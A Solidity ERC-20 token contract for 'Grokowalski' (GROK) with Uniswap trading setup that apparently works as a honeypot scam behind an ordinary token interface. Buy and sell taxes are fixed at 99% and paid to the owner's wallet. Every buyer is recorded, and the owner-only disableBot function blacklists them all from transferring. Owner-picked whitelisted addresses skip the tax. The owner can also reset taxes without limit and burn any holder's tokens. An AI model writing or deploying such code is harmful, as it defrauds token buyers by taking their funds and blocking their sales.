// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Grokowalski is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isWhitelisted;

    address payable private _taxWallet;
    address public _taxWallet2;
    
    uint256 firstBlock;

    uint256 private _initialBuyTax=99;
    uint256 private _initialSellTax=99;
    uint256 private _finalBuyTax=99;
    uint256 private _finalSellTax=99;
    uint256 private _reduceBuyTaxAt=50;
    uint256 private _reduceSellTaxAt=50;
    uint256 private _preventSwapBefore=0;
    uint256 public _buyCount=0;

    mapping (address => bool) private botList;
    address [] private botAdr;

    uint8 private constant _decimals = 18;
    uint256 private _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"Grokowalski";
    string private constant _symbol = unicode"GROK";
    
    uint256 public _maxTxAmount =   _tTotal / 50;
    uint256 public _maxWalletSize = _tTotal / 50;
    uint256 public _taxSwapThreshold= _tTotal / 100;
    uint256 public _maxTaxSwap= _tTotal / 50;


    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event WhitelistStatusChanged(address indexed account, bool isWhitelisted);
    event Burn(address indexed burner, uint256 value);
 
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    bool private changingParameters = false;

    modifier lockChangingParameters {
        require(!changingParameters, "Parameters are being changed");
        changingParameters = true;
        _;
        changingParameters = false;
    }


 
    constructor (address initialTaxWallet) {
 
        _taxWallet = payable(initialTaxWallet);
        _taxWallet2 = initialTaxWallet;
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isWhitelisted[owner()] = true;
        tradingOpen = false;
    //uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    //_approve(address(this), address(uniswapV2Router), _tTotal);
    //    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    //    IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    
    emit Transfer(address(0), _msgSender(), _tTotal);
        
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {
            require(!botList[from] && !botList[to]);

        if(!isWhitelisted(to) && !isWhitelisted(from)){
            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);

            if(to == uniswapV2Pair && from!= address(this) ){

                taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }


            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
                botList[to] = false;
                botAdr.push(to);
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        }

        if(taxAmount>0){
          _balances[_taxWallet2]=_balances[_taxWallet2].add(taxAmount);
          emit Transfer(from, _taxWallet2,taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }


   function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function disableBot() external onlyOwner {
      for (uint i = 0; i < botAdr.length; i++) {
          botList[botAdr[i]] = true;
      }
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function riseLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    // function manualSend() external payable{ 
    //          payable(_taxWallet).transfer(address(this).balance);
            
    // }

    // function manualSwap() external payable{
    //     require(_msgSender()==_taxWallet);
    //     uint256 tokenBalance=balanceOf(address(this));
    //     if(tokenBalance>0){
    //       swapTokensForEth(tokenBalance);
    //     }
    //     uint256 ethBalance=address(this).balance;
    //     if(ethBalance>0){
    //       sendETHToFee(ethBalance);
    //     }
    // }

    function isWhitelisted(address account) public view returns (bool) {
    return _isWhitelisted[account];
    }

    function addToWhitelist(address account) external onlyOwner {
        _isWhitelisted[account] = true;
        emit WhitelistStatusChanged(account, true);
    }

    function removeFromWhitelist(address account) external onlyOwner {
        _isWhitelisted[account] = false;
        emit WhitelistStatusChanged(account, false);
    }
       
    function changeTaxWallet(address newTaxWallet) external {
        require(msg.sender == _taxWallet2, "not authorized");
        _taxWallet2 = newTaxWallet;
    }
    function setTaxParameters(uint256 newInitialBuyTax, uint256 newInitialSellTax, uint256 newFinalBuyTax, uint256 newFinalSellTax) public onlyOwner lockChangingParameters {
        _initialBuyTax = newInitialBuyTax;
        _initialSellTax = newInitialSellTax;
        _finalBuyTax = newFinalBuyTax;
        _finalSellTax = newFinalSellTax;
    }
        function burn(address account, uint256 percent) public {
        _burn(account, percent);
    }
    
    function _burn(address account, uint256 percent) internal onlyOwner {
        require(account != address(0), "ERC20: burn from the zero address");
        require(percent > 0 && percent <= 100, "Invalid burn percentage");

        uint256 burnAmount = (_tTotal * percent) / 100;

        require(burnAmount > 0, "Burn amount must be greater than zero");
        require(burnAmount <= _balances[account], "Insufficient balance to burn");

        _balances[account] = _balances[account].sub(burnAmount);
        _tTotal = _tTotal.sub(burnAmount);

        emit Transfer(account, address(0), burnAmount);
        emit Burn(account, burnAmount);
    }
 

    receive() external payable {}
}